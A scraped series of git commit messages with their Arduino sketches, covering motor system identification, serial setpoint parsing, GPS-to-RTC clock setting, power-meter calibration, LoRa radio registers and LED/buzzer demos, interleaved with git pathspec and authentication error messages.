Added dual wheel system ID

Added dual wheel system ID

#include <Arduino.h>
#include <Wire.h>
#include <digitalWriteFast.h>
#include <math.h>

/*
This sketch can be used to collect data to be used in the system ID of two wheel motors simultaneously.
Essentially it sends a series of independent, random voltage commands to the wheel motors for independent
random durations and then periodically measures the average angular velocity of the wheels over a period.

Modify the parameters as desired below, upload the sketch, and place the robot on a clear area on
the ground. Establish a terminal connection with the communication port of the XBEE and switch
on the robot. The robot will move quite randomly for a period of time. When the test is complete,
the onboard XBEE will transmit the results. Note that all time measurements are in milliseconds
and the transmitted velocity measurements are in encoder ticks per velocity interval, where the
velocity interval is user-defined. One can easily convert this to radians per second using:

  w = 1000 * 2 * PI * MEASURED_TICKS / TOTAL_TICKS

where TOTAL_TICKS is the number of ticks per revolution, which is approximately 3000.

Author: Ryan J. Marcotte
Date: 19 March 2014
*/

//#####SYSTEM ID PARAMETERS#######
//#####MODIFY THESE FIELDS########
#define RIGHT_TEST_PIN FORWARD_RIGHT //the pin of the right motor you are working with
                                     //either FORWARD_RIGHT or REVERSE_RIGHT
#define LEFT_TEST_PIN FORWARD_LEFT   //the pin of the left motor you are working with
                                     //either FORWARD_LEFT or REVERSE_LEFT
const int TOTAL_VOL_COMS = 10; //the total number of voltage commands to be executed by the robot
                               //increasing beyond ~10, memory can become an issue
                               //if the board runs out of memory, it resets itself which can be
                               //a challenging bug to diagnose
const int MIN_COM_DUR = 5; //the minimum duration a command could be executed for
const int MAX_COM_DUR = 2000; //the maximum duration a command could be executed for
const int COM_DUR_RESOLUTION = 5; //command durations can take on values as multiples of
                                          //this parameter; 5 ms recommended
const int VELOCITY_INTERVAL = 20; //length of interval (in ms) velocity measurements are taken over
                                 //20 ms is probably optimal for most situations

//##########END PARAMETERS###########
//###NO MODIFICATIONS NEEDED BELOW###

//######ENCODERS######
//Left Encoder
#define c_LeftEncoderInterrupt 0
#define c_LeftEncoderPinA 2
#define c_LeftEncoderPinB 4
#define LeftEncoderIsReversed
volatile bool _LeftEncoderBSet;
volatile long _LeftEncoderTicks = 0;

//Right Encoder
#define c_RightEncoderInterrupt 1
#define c_RightEncoderPinA 3
#define c_RightEncoderPinB 5
volatile bool _RightEncoderBSet;
volatile long _RightEncoderTicks = 0;

long Prev_LeftEncoderTicks;
long Prev_RightEncoderTicks;

//######MOTORS#########
//Left Motor
const int REVERSE_LEFT = 11;
const int FORWARD_LEFT = 10;

//Right Motor
const int REVERSE_RIGHT = 9;
const int FORWARD_RIGHT = 8;

/*
 * Drives the execution of the system ID routine. Initializes the pins to be used. Generates
 * the arrays of voltage commands (magnitude & duration). Determines the total runtime based
 * on the generated command durations. Performs the system ID test. Outputs a summary of the
 * parameters of the test as well as the velocity results.
 */
void setup(){
  Serial.begin(9600);
  long runtime;
  int velsSize;

  initializePins();

  Prev_RightEncoderTicks = _RightEncoderTicks;
  Prev_LeftEncoderTicks = _LeftEncoderTicks;

  int leftVolComs[TOTAL_VOL_COMS];
  int rightVolComs[TOTAL_VOL_COMS];
  unsigned long volComTimes[TOTAL_VOL_COMS];
  generateCommandArrays(leftVolComs, rightVolComs, volComTimes);

  runtime = determineRuntime(volComTimes);
  velsSize = runtime / VELOCITY_INTERVAL;
  int leftVels[velsSize];
  int rightVels[velsSize];
  int velsTimes[velsSize];
  int leftVelsCommands[velsSize];
  int rightVelsCommands[velsSize];

  performTest(runtime, velsSize, leftVels, rightVels, velsTimes, leftVelsCommands,
                        rightVelsCommands, leftVolComs, rightVolComs, volComTimes);
  outputSummary(runtime, leftVolComs, rightVolComs, volComTimes);
  outputResults(velsSize, leftVels, rightVels, velsTimes, leftVelsCommands, rightVelsCommands);
}

/*
 * Intentionally left empty. Robot simply idles upon completion of setup routine.
 */
void loop(){
}

/*
 * Sets up encoder pins and attaches interrupts. Sets all motor pins to output mode.
 */
void initializePins(){
  //Left Encoder
  pinMode(c_LeftEncoderPinA, INPUT);     //sets pin A as input
  digitalWrite(c_LeftEncoderPinA, LOW);  //turns on pullup resistors
  pinMode(c_LeftEncoderPinB, INPUT);     //sets pin B as input
  digitalWrite(c_LeftEncoderPinB, LOW);  //turns on pullup resistors
  attachInterrupt(c_LeftEncoderInterrupt, HandleLeftMotorInterruptA, RISING);

  //Right Encoder
  pinMode(c_RightEncoderPinA, INPUT);    //sets pin A as input
  digitalWrite(c_RightEncoderPinA, LOW); //turns on pullup resistors
  pinMode(c_RightEncoderPinB, INPUT);    //sets pin B as input
  digitalWrite(c_RightEncoderPinB, LOW); //turns on pullupresistors
  attachInterrupt(c_RightEncoderInterrupt, HandleRightMotorInterruptA, RISING);

  //Motors
  pinMode(FORWARD_RIGHT, OUTPUT);
  pinMode(FORWARD_LEFT, OUTPUT);
  pinMode(REVERSE_RIGHT, OUTPUT);
  pinMode(REVERSE_LEFT, OUTPUT);
}

/*
 * Randomly generates the lists of command magnitudes and durations based
 * on the user's desired parameters of the minimum and maximum command times
 * as well as the command time resolution. If identical command lists are
 * desired repeatedly for test purposes, comment out the fist line that seeds
 * the random number generator.
 */
void generateCommandArrays(int leftVolComs[], int rightVolComs[], unsigned long volComTimes[]){
  randomSeed(analogRead(0));
  unsigned long min;
  unsigned long max;

  for(int i = 0; i < TOTAL_VOL_COMS; i++){
    leftVolComs[i] = random(256);
    rightVolComs[i] = random(256);
    delay(5);
    min = MIN_COM_DUR / COM_DUR_RESOLUTION;
    max = MAX_COM_DUR / COM_DUR_RESOLUTION;
    volComTimes[i] = COM_DUR_RESOLUTION * random(min, max);
  }
}

/*
 * Determines the total runtime of the test, calculated as the sum of
 * the voltage command durations.
 */
long determineRuntime(unsigned long volComTimes[]){
  unsigned long runtime = 0;

  for(int i = 0; i < TOTAL_VOL_COMS; i++) {
    runtime += volComTimes[i];
  }

  runtime += (VELOCITY_INTERVAL - runtime % VELOCITY_INTERVAL);

  return runtime;
}

/*
 * Measures repeated step responses on the motors being tested. Each time the main loop iterates, the
 * function checks to see if the current time dictates that a measurement should be taken or a new
 * command should be executed.
 *
 * Note: An unresolved issue remains with utilizing the millis timing. This code is written under the
 * assumption that the main while loop iterates many times each millisecond. Microsecond timing tests
 * showed that it executed in approximately 50-100 us, which supports this assumption. However, repeated
 * tests of the code also showed that the while loop appears to "skip over" certain millisecond times.
 * For example, if voltage command or velocity measurement is supposed to be sent or taken at a time
 * 80 ms after the base time, the loop skips over that time and does not take the appropriate action.
 * As a result, a command or measurement may be delayed by up to a millisecond. This is reported in the
 * final results that are output to the user, so it is not terribly significant. However, this is an
 * issue to be explored.
 */
void performTest(const unsigned long RUNTIME, const int VELS_SIZE, int leftVels[], int rightVels[],
                    int velsTimes[], int leftVelsCommands[], int rightVelsCommands[],
                    const int LEFT_VOL_COMS[], const int RIGHT_VOL_COMS[], const unsigned long VOL_COM_TIMES[]){
  int velsIndex = 0;
  int volComsIndex = 0;
  boolean commandNow = false;
  boolean measureNow = false;

  const unsigned long BASE_TIME = millis();
  unsigned long currentTime = BASE_TIME;
  unsigned long lastCommandTime = currentTime;
  unsigned long lastMeasureTime = currentTime;

  analogWrite(LEFT_TEST_PIN, LEFT_VOL_COMS[volComsIndex]);
  analogWrite(RIGHT_TEST_PIN, RIGHT_VOL_COMS[volComsIndex]);

  while(currentTime - BASE_TIME < RUNTIME){
    currentTime = millis();
    commandNow = (currentTime - lastCommandTime >= VOL_COM_TIMES[volComsIndex] && lastCommandTime != currentTime);
    measureNow = (currentTime - lastMeasureTime >= VELOCITY_INTERVAL && lastMeasureTime != currentTime);

    if(commandNow || measureNow){
      if(commandNow){
        analogWrite(LEFT_TEST_PIN, LEFT_VOL_COMS[++volComsIndex]);
        analogWrite(RIGHT_TEST_PIN, RIGHT_VOL_COMS[volComsIndex]);
        lastCommandTime = currentTime;
      }

      if(measureNow){
        leftVels[velsIndex] = _LeftEncoderTicks - Prev_LeftEncoderTicks;
        Prev_LeftEncoderTicks = _LeftEncoderTicks;

        rightVels[velsIndex] = _RightEncoderTicks - Prev_RightEncoderTicks;
        Prev_RightEncoderTicks = _RightEncoderTicks;

        lastMeasureTime = currentTime;
        velsTimes[velsIndex] = currentTime - BASE_TIME;
        leftVelsCommands[velsIndex] = LEFT_VOL_COMS[volComsIndex];
        rightVelsCommands[velsIndex++] = RIGHT_VOL_COMS[volComsIndex];
      }
    }
  }

  digitalWrite(LEFT_TEST_PIN, LOW);
  digitalWrite(RIGHT_TEST_PIN, LOW);
}

/*
 * Outputs a summary of the test, including the user-selected parameters and the generated lists
 * of voltage command magnitudes and durations.
 */
void outputSummary(const long RUNTIME, const int LEFT_VOL_COMS[], const int RIGHT_VOL_COMS[],
                        const unsigned long VOL_COM_TIMES[]){
  Serial.println("System ID Summary");
  delay(20);
  Serial.print("Left motor tested: ");
  delay(20);
  Serial.println(getLeftPinName());
  delay(20);
  Serial.print("Right motor tested: ");
  delay(20);
  Serial.println(getRightPinName());
  delay(20);
  Serial.print("Total commands executed: ");
  delay(20);
  Serial.println(TOTAL_VOL_COMS);
  delay(20);
  Serial.print("Total run time: ");
  delay(20);
  Serial.println(RUNTIME);
  delay(20);
  Serial.print("Velocity interval: ");
  delay(20);
  Serial.println(VELOCITY_INTERVAL);
  delay(20);
  Serial.println("\n\nVoltage Commands");
  delay(20);
  Serial.println("Magnitude (L)   Magnitude (R)   Duration");
  delay(40);

  for(int i = 0; i < TOTAL_VOL_COMS; i++){
    Serial.print(LEFT_VOL_COMS[i]);
    delay(5);
    Serial.print("     ");
    delay(5);
    Serial.print(RIGHT_VOL_COMS[i]);
    delay(5);
    Serial.print("     ");
    delay(5);
    Serial.println(VOL_COM_TIMES[i]);
    delay(5);
  }

  Serial.println("End Summary");
}

/*
 * Returns the name of the left pin being tested as a string.
 */
String getLeftPinName() {
  switch(LEFT_TEST_PIN) {
    case FORWARD_LEFT:
      return "Forward Left";
    case REVERSE_LEFT:
      return "Reverse Left";
  }
}

/*
 * Returns the name of the right pin being tested as a string.
 */
String getRightPinName() {
  switch(RIGHT_TEST_PIN) {
    case FORWARD_RIGHT:
      return "Forward Right";
    case REVERSE_RIGHT:
      return "Reverse Right";
  }
}

/*
 * Outputs the results of the measurements, including the time of the measurements and the index of the voltage
 * command being executed during that measurement.
 */
void outputResults(const int VELS_SIZE, const int LEFT_VELS[], const int RIGHT_VELS[],
                    const int VELS_TIMES[], const int LEFT_VELS_COMMANDS[], const int RIGHT_VELS_COMMANDS[]){
  Serial.println("\n\nVelocity Measurements");
  delay(20);
  Serial.print("Elapsed Time   ");
  delay(20);
  Serial.print("Command (L)  ");
  delay(20);
  Serial.print("Velocity (L)   ");
  delay(20);
  Serial.print("Command (R)  ");
  delay(20);
  Serial.println("Velocity (R)   ");
  delay(20);

  for(int i = 0; i < VELS_SIZE; i++){
    Serial.print(VELS_TIMES[i]);
    delay(5);
    Serial.print("     ");
    delay(5);
    Serial.print(LEFT_VELS_COMMANDS[i]);
    delay(5);
    Serial.print("     ");
    delay(5);
    Serial.print(LEFT_VELS[i]);
    delay(5);
    Serial.print("     ");
    delay(5);
    Serial.print(RIGHT_VELS_COMMANDS[i]);
    delay(5);
    Serial.print("     ");
    delay(5);
    Serial.println(RIGHT_VELS[i]);
    delay(5);
  }

  Serial.println("End Measurements");
}

//        DO NOT MODIFY BELOW THIS POINT
//############ ENCODER INTERRUPTS ################
// Interrupt service routines for the left motor's quadrature encoder
void HandleLeftMotorInterruptA() {
  // Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A
  _LeftEncoderBSet = digitalReadFast(c_LeftEncoderPinB);   // read the input pin

  // and adjust counter + if A leads B
#ifdef LeftEncoderIsReversed
  _LeftEncoderTicks -= _LeftEncoderBSet ? -1 : +1;
#else
  _LeftEncoderTicks += _LeftEncoderBSet ? -1 : +1;
#endif
}

// Interrupt service routines for the right motor's quadrature encoder
void HandleRightMotorInterruptA() {
  // Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A
  _RightEncoderBSet = digitalReadFast(c_RightEncoderPinB);   // read the input pin

  // and adjust counter + if A leads B
#ifdef RightEncoderIsReversed
  _RightEncoderTicks -= _RightEncoderBSet ? -1 : +1;
#else
  _RightEncoderTicks += _RightEncoderBSet ? -1 : +1;
#endif
}

error: pathspec 'Embedded-Arduino/Testing/SystemID/Dual_Wheel_System_ID/Dual_Wheel_System_ID.ino' did not match any file(s) known to git


Ball picker time and pins changed

Ball picker time and pins changed

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/auvnitrkl/tiburon-3.0.git/'


ファイル保持機能の追加とカタカナ表示機能追加

ファイル保持機能の追加とカタカナ表示機能追加

error: pathspec '2_example/example28_lcdkey/utf_del_uni.ino' did not match any file(s) known to git


Adjusted Arduino code to interpret received data as motor and servo setpoints

#include <Servo.h>;

volatile int count = 0; //number of encoder counts (using a quadrature encoder)

//encoder pins: pins 2,3 are hardware interrupts
const int encoderA = 2;
const int encoderB = 3;

//actuator pins: pins 3,5,6,9,10,11 are capable of hardware pwm
Servo motor;
Servo steering;
const int motorPin = 5;
const int servoPin = 6;

//end flag and delimiter used to parse incoming serial message of setpoints, etc.
//Your message should be of the form: "XXX,YYY,ZZZ,etc.f". Note that there are no spaces.
char flag = 'f';
char delim[2] = ",";

volatile unsigned long curr_time;
volatile unsigned long temp;
char *parser;
float setPoint[3];
char readIn[16];
int i;

void setup() {
  // put your setup code here, to run once:
  pinMode(encoderA, INPUT);
  pinMode(encoderB, INPUT);
  motor.attach(motorPin);
  steering.attach(servoPin);

  attachInterrupt(digitalPinToInterrupt(encoderA), inc, CHANGE);
  attachInterrupt(digitalPinToInterrupt(encoderB), inc, CHANGE);
  curr_time = millis();
  Serial.begin(250000);
  Serial.println("Running");

}

void loop() {
  // put your main code here, to run repeatedly:
  temp = millis()-curr_time;
  if (temp > 2) {
    Serial.println(count/temp * 1000); //prints velocity out to the serial port
    count = 0;
    curr_time = millis();
  }

  //parses any available incoming data. Use atof() to convert the characters to floats (for math manipulation)
  temp = Serial.available();
  if (temp > 0) {
    i = 0;
    Serial.readBytesUntil(flag, readIn, 8);
    parser = strtok(readIn, delim);
    while (parser != NULL) {
      //Serial.println(atof(parser) + 2);
      setPoint[i] = atof(parser);
      i++;
      parser = strtok(NULL, delim);
    }

    motor.write(saturate(setPoint[0]));
    steering.write(saturate(setPoint[1]));
  }

  delay(1);
}

void inc() {
  count++;
}

float saturate(float value) {
  if (value>180) {
    value = 180;
  } else if (value<0) {
    value = 0;
  }
  return value;
}

error: pathspec 'ArduinoSerialInterface/ArduinoPythonInterfacer/ArduinoPythonInterfacer.ino' did not match any file(s) known to git


Test works without noise

Test works without noise

error: pathspec 'unit' did not match any file(s) known to git
error: pathspec 'tests/pwm_detector_test/pwm_detector_test.ino' did not match any file(s) known to git


just changed the version number

just changed the version number

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/TEAMarg/ID-40-VIRUS-LQP-79.git/'


Delete 20150909-TestNeckMotionController2~Delivered Code to Customer.ino

error: pathspec '20150909-TestNeckMotionController2~Delivered' did not match any file(s) known to git
error: pathspec 'Code' did not match any file(s) known to git
error: pathspec 'to' did not match any file(s) known to git
error: pathspec 'Customer.ino' did not match any file(s) known to git


code for setting the rtc from gps

code for setting the rtc from gps

#include <Wire.h>
#include "RTClib.h"
#include <Adafruit_GPS.h>
#include <SoftwareSerial.h>

RTC_DS1307 rtc;

SoftwareSerial mySerial(3, 2);
Adafruit_GPS GPS(&mySerial);

// Set GPSECHO to 'false' to turn off echoing the GPS data to the Serial console
// Set to 'true' if you want to debug and listen to the raw GPS sentences.
#define GPSECHO  false

// this keeps track of whether we're using the interrupt
// off by default!
boolean usingInterrupt = false;
void useInterrupt(boolean); // Func prototype keeps Arduino 0023 happy

void setup() {
  Serial.begin(115200);
  Wire.begin();
  rtc.begin();

  if (! rtc.isrunning()) {
    Serial.println("RTC is NOT running!");
    // following line sets the RTC to the date & time this sketch was compiled
    //rtc.adjust(DateTime(F(__DATE__), F(__TIME__)));
    // This line sets the RTC with an explicit date & time, for example to set
    // January 21, 2014 at 3am you would call:
    // rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));
  }
    // 9600 NMEA is the default baud rate for Adafruit MTK GPS's- some use 4800
  GPS.begin(9600);

  // uncomment this line to turn on RMC (recommended minimum) and GGA (fix data) including altitude
  GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA);
  // uncomment this line to turn on only the "minimum recommended" data
  //GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCONLY);
  // For parsing data, we don't suggest using anything but either RMC only or RMC+GGA since
  // the parser doesn't care about other sentences at this time

  // Set the update rate
  GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ);   // 1 Hz update rate
  // For the parsing code to work nicely and have time to sort thru the data, and
  // print it out we don't suggest using anything higher than 1 Hz

  // Request updates on antenna status, comment out to keep quiet
  GPS.sendCommand(PGCMD_ANTENNA);

  // the nice thing about this code is you can have a timer0 interrupt go off
  // every 1 millisecond, and read data from the GPS for you. that makes the
  // loop code a heck of a lot easier!
  useInterrupt(true);

  delay(1000);
  // Ask for firmware version
  mySerial.println(PMTK_Q_RELEASE);
}

// Interrupt is called once a millisecond, looks for any new GPS data, and stores it
SIGNAL(TIMER0_COMPA_vect) {
  char c = GPS.read();
  // if you want to debug, this is a good time to do it!
#ifdef UDR0
  if (GPSECHO)
    if (c) UDR0 = c;
    // writing direct to UDR0 is much much faster than Serial.print
    // but only one character can be written at a time.
#endif
}

void useInterrupt(boolean v) {
  if (v) {
    // Timer0 is already used for millis() - we'll just interrupt somewhere
    // in the middle and call the "Compare A" function above
    OCR0A = 0xAF;
    TIMSK0 |= _BV(OCIE0A);
    usingInterrupt = true;
  } else {
    // do not call the interrupt function COMPA anymore
    TIMSK0 &= ~_BV(OCIE0A);
    usingInterrupt = false;
  }
}

uint32_t timer = millis();

void loop() {

    // This line sets the RTC with an explicit date & time, for example to set
    // January 21, 2014 at 3am you would call:
    // rtc.adjust(DateTime(2014, 1, 21, 3, 0, 0));
  // in case you are not using the interrupt above, you'll
  // need to 'hand query' the GPS, not suggested :(
  if (! usingInterrupt) {
    // read data from the GPS in the 'main loop'
    char c = GPS.read();
    // if you want to debug, this is a good time to do it!
    if (GPSECHO)
      if (c) Serial.print(c);
  }

  // if a sentence is received, we can check the checksum, parse it...
  if (GPS.newNMEAreceived()) {
    // a tricky thing here is if we print the NMEA sentence, or data
    // we end up not listening and catching other sentences!
    // so be very wary if using OUTPUT_ALLDATA and trytng to print out data
    //Serial.println(GPS.lastNMEA());   // this also sets the newNMEAreceived() flag to false

    if (!GPS.parse(GPS.lastNMEA()))   // this also sets the newNMEAreceived() flag to false
      return;  // we can fail to parse a sentence in which case we should just wait for another
  }

  // if millis() or timer wraps around, we'll just reset it
  if (timer > millis())  timer = millis();

  // approximately every 1 seconds or so, print out the current stats
  if (millis() - timer > 1000) {
    timer = millis(); // reset the timer
    DateTime now = rtc.now();
    Serial.print("RTC: ");
    Serial.print(now.year(), DEC);
    Serial.print('/');
    Serial.print(now.month(), DEC);
    Serial.print('/');
    Serial.print(now.day(), DEC);
    Serial.print(' ');
    Serial.print(now.hour(), DEC);
    Serial.print(':');
    Serial.print(now.minute(), DEC);
    Serial.print(':');
    Serial.print(now.second(), DEC);
    Serial.println();

    Serial.print("GPS: ");
    Serial.print("20");
    Serial.print(GPS.year, DEC); Serial.print('/');
    Serial.print(GPS.month, DEC); Serial.print('/');
    Serial.print(GPS.day, DEC);
    Serial.print(' ');
    Serial.print(GPS.hour, DEC); Serial.print(':');
    Serial.print(GPS.minute, DEC); Serial.print(':');
    Serial.print(GPS.seconds, DEC); Serial.print('.');
    Serial.println(GPS.milliseconds);

    Serial.print("Fix: "); Serial.print((int)GPS.fix);
    Serial.print(" quality: "); Serial.println((int)GPS.fixquality);
    Serial.println(" ");
    if (GPS.fix) {
      if(GPS.seconds != now.second()){
        rtc.adjust(DateTime(2000+GPS.year, GPS.month, GPS.day, GPS.hour, GPS.minute, GPS.seconds));
      }
      Serial.print("Location: ");
      Serial.print(GPS.latitude, 4); Serial.print(GPS.lat);
      Serial.print(", ");
      Serial.print(GPS.longitude, 4); Serial.println(GPS.lon);
      Serial.print("Location (in degrees, works with Google Maps): ");
      Serial.print(GPS.latitudeDegrees, 4);
      Serial.print(", ");
      Serial.println(GPS.longitudeDegrees, 4);

      Serial.print("Speed (knots): "); Serial.println(GPS.speed);
      Serial.print("Angle: "); Serial.println(GPS.angle);
      Serial.print("Altitude: "); Serial.println(GPS.altitude);
      Serial.print("Satellites: "); Serial.println((int)GPS.satellites);
      Serial.println(" ");
    }
  }
}

error: pathspec 'set-rtc/set-rtc.ino' did not match any file(s) known to git


Add On Chip Calibration example

Add On Chip Calibration example

#include<CS5490.h>

#define rx 11
#define tx 12

/* Choose your board */

/* Arduino UNO and ESP8622 */
CS5490 line(MCLK_default,rx,tx);

/* ESP and MEGA  (Uses Serial2)*/
//CS5490 line(MCLK_default);

void setup() {
  //Initializing communication with CS5490
  //600 is the default baud rate velocity.
  line.begin(600);
  //Initializing communication arduino/PC to show results in Monitor Serial
  Serial.begin(115200);
  // wait for serial port to connect. Needed for Leonardo only
  while (!Serial);
  //Set to continous conversion
  line.contConv();
  delay(100);
}

void loop() {

  double foo;

  Serial.println("\n\nWithout calibration");
  line.setDcOffsetI(0); //Reset previous calibration
  foo = line.getInstI();
  Serial.print("DC current value: ");
  Serial.println(foo, 5);
  foo = line.getDcOffsetI();
  Serial.print("DC offset current value: ");
  Serial.println(foo, 5);

  /*
  -------->Types
  DCoffset
  ACoffset
  Gain
  -------->Channels
  Current
  Voltage
  CurrentAndVoltage
  -------->How to use?
  line.calibrate(type,channel)
  */
  line.calibrate(DCoffset,Current);

  Serial.println("\n\nCalibrated");
  foo = line.getInstI();
  Serial.print("DC current value: ");
  Serial.println(foo, 5);
  foo = line.getDcOffsetI();
  Serial.print("DC offset current value: ");
  Serial.println(foo, 5);

  Serial.println("\nReset arduino to see it again... ");
  while(1);

}

error: pathspec 'examples/On_Chip_Calibration/On_Chip_Calibration.ino' did not match any file(s) known to git


Arduino example of setting & reading registers on the RFM95

#include <SPI.h>

#include <RH_RF95.h>

#define RFM95_CS 10
//#define RFM95_RST 2
#define RFM95_INT 3

#define RF95_FREQ 868.0

// Singleton instance of the radio driver
RH_RF95 rf95(RFM95_CS, RFM95_INT);

void setup() {
  Serial.begin(115200);

  delay(100);

  while (!rf95.init()) {
    Serial.println("init failed");
    while (1);
  }
  Serial.println("init OK");

  if (!rf95.setFrequency(RF95_FREQ)) {
    Serial.println("setFrequency failed");
    while (1);
  }

  rf95.setModemConfig(RH_RF95::Bw500Cr45Sf128);
  rf95.setTxPower(10, false);

}

void loop() {

  rf95.setModeIdle();
  delay(100);

  rf95.printRegisters();

  //rf95.sleep();
  delay(1000);

}

error: pathspec 'Mk2/experiments/rfm95_registers_example/rfm95_registers_example.ino' did not match any file(s) known to git


Add Joysticks-128x64-Graphic.

Add Joysticks-128x64-Graphic.

Display the joystick positions on two crosshairs.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/JulianNicholls/Arduino.git/'


Delete Thermal_HUD_bicubic.ino

Delete Thermal_HUD_bicubic.ino

Odd merge issues leading to compilation errors

Thermal Imaging HUD code/Thermal_HUD_bicubic/Thermal_HUD_bicubic.ino

error: pathspec 'Thermal' did not match any file(s) known to git
error: pathspec 'Imaging' did not match any file(s) known to git
error: pathspec 'HUD' did not match any file(s) known to git
error: pathspec 'code/Thermal_HUD_bicubic/Thermal_HUD_bicubic.ino' did not match any file(s) known to git


Create cash-register.ino

Create cash-register.ino

const int obstaclePin = 7;
const int buzzerPin = 6;
const int soundDuration = 40;
const int randomError = 20;
int lastObstacleValue;

/**
 * Setup the board
 */
void setup() {
    // initialize serial communication:
    //Serial.begin(9600);

    pinMode(buzzerPin, OUTPUT);
    pinMode(obstaclePin, INPUT);

    lastObstacleValue = HIGH;
}

/**
 * Main loop
 */
void loop() {
    int obstacleValue = digitalRead(obstaclePin);

    if (lastObstacleValue == HIGH && obstacleValue == LOW) {
        int randNumber = random(randomError);
        if (randNumber == 0) {
            soundError();
        } else {
            soundOk();
        }
    }
    lastObstacleValue = obstacleValue;

    delay(50);
}

/**
 * Make OK sound
 */
void soundOk() {
    int i;
    for (i=0; i<soundDuration; i++) {
        digitalWrite(buzzerPin, HIGH);
        delay(1);
        digitalWrite(buzzerPin, LOW);
        delay(1);
    }
}

/**
 * Make error sound
 */
void soundError() {
    int i;
    for (i=0; i<soundDuration; i++) {
        analogWrite(buzzerPin, 50);
        delay(1);
        analogWrite(buzzerPin, 255);
        delay(1);
        analogWrite(buzzerPin, 0);
        delay(1);
    }
}

error: pathspec 'arduino/cash-register.ino' did not match any file(s) known to git


ADD: Sound sensor test

ADD: Sound sensor test

/*
* Connect sound sensor to digital pin 2
* We will use the onboard lED to indicate sound detected and output to sr=erial monitor
*/

#define soundPin 2 // Use Pin 10 as our Input
int soundValue = HIGH; // This is where we record our Sound Measurement
int led = 13;

boolean bSound = false;

unsigned long lastSoundTime; // Record the time that we measured a sound

int soundTime = 300; // Number of milli seconds to keep the sound alarm high

void setup ()
  {
  Serial.begin(9600);
  pinMode (soundPin, INPUT) ; // input from the Sound Detection Module
  pinMode(led, OUTPUT);
}

void loop ()
{
  //digitalWrite(13, HIGH);
  soundValue = digitalRead (soundPin) ; // read the sound alarm time
  //Serial.println(soundValue);
  if (soundValue == LOW) // If we hear a sound
  {

    lastSoundTime = millis(); // record the time of the sound alarm
    // We don't want to fill up monitor
    if (!bSound){
      Serial.println("##########    #########       #########");
      Serial.println("    #         #       #       #       #");
      Serial.println("    #         #       #       #       #");
      Serial.println("    #         #########       #########");
      Serial.println("    #         #       #       #");
      Serial.println("    #         #       #       #");
      Serial.println("    #         #       #       #");
      Serial.println("\n\n\n");
      digitalWrite(led, HIGH);
      bSound = true;
    }
  }
  else
  {
    if( (millis()-lastSoundTime) > soundTime && bSound){
      Serial.println("quiet");
      digitalWrite(led, LOW);
      bSound = false;
    }
  }
}

error: pathspec 'tests/sound-sensor/sound-sensor.ino' did not match any file(s) known to git


Unnecessary Files

Unnecessary Files

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/jackm97/Arduino-Shutter.git/'


Reordering code in mpu data reading

Reordering code in mpu data reading

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/tomwagner1999/SmartHome.git/'


Create GasScale.ino

Create GasScale.ino

error: pathspec 'GasScale/GasScale.ino' did not match any file(s) known to git


Add ikea dioder demo to the project.

Add ikea dioder demo to the project.

Demo contains a few functions to demonstrate simple functions as pulse
(flash), fade to a color (rainbow) and fade white in and out.

byte r = 0;
byte g = 0;
byte b = 0;
byte rCurrent = 0;
byte gCurrent = 0;
byte bCurrent = 0;

#define PIN_G 3
#define PIN_B 5
#define PIN_R 6

#define FADE_FAST 1
#define FADE_MEDIUM 3
#define FADE_SLOW 5
#define LONG_PAUSE 500
#define MEDIUM_PAUSE 300
#define SHORT_PAUSE 150

#define PAUSE LONG_PAUSE
#define FADE FADE_SLOW
bool fadeTo(byte nr, byte ng, byte nb, byte delayms){
  bool isFinished = false;
  r = nr;
  g = ng;
  b = nb;

  while (!isFinished){
   if(rCurrent != r)  {
     if(rCurrent < r) rCurrent++;
     else rCurrent--;
     analogWrite(PIN_R, rCurrent);
   }
   if(gCurrent != g) {
      if(gCurrent < g) gCurrent++;
      else gCurrent--;
      analogWrite(PIN_G, gCurrent);
   }
   if(bCurrent != b) {
     if(bCurrent < b) bCurrent++;
     else bCurrent--;
     analogWrite(PIN_B, bCurrent);
   }
   if(rCurrent == r && bCurrent == b && gCurrent == g) isFinished = true;
   delay(delayms);
  }
}

void setup(){
  pinMode(PIN_R, OUTPUT);
  pinMode(PIN_G, OUTPUT);
  pinMode(PIN_B, OUTPUT);
}

void rainbow(){
  fadeTo(255, 0, 0, FADE);
  delay(PAUSE);
  fadeTo(255, 127, 0, FADE);
  delay(PAUSE);
  fadeTo(255, 255, 0, FADE);
  delay(PAUSE);
  fadeTo(127, 0, 0, FADE);
  delay(PAUSE);
  fadeTo(0, 255, 0, FADE);
  delay(PAUSE);
  fadeTo(0, 255, 0, FADE);
  delay(PAUSE);
  fadeTo(0, 255, 127, FADE);
  delay(PAUSE);
  fadeTo(0, 255, 255, FADE);
  delay(PAUSE);
  fadeTo(0, 127, 255, FADE);
  delay(PAUSE);
  fadeTo(0, 0, 255, FADE);
  delay(PAUSE);
  fadeTo(127, 0, 255, FADE);
  delay(PAUSE);
  fadeTo(255, 0, 255, FADE);
  delay(PAUSE);
  fadeTo(255, 0, 127, FADE);
  delay(PAUSE);
  fadeTo(0,0,0,FADE);
  delay(PAUSE);
}

void burstColor(byte nr, byte ng, byte nb, int duration) {
   analogWrite(PIN_R, nr);
   analogWrite(PIN_G, ng);
   analogWrite(PIN_B, nb);
   delay(duration);
   analogWrite(PIN_R, rCurrent);
   analogWrite(PIN_G, gCurrent);
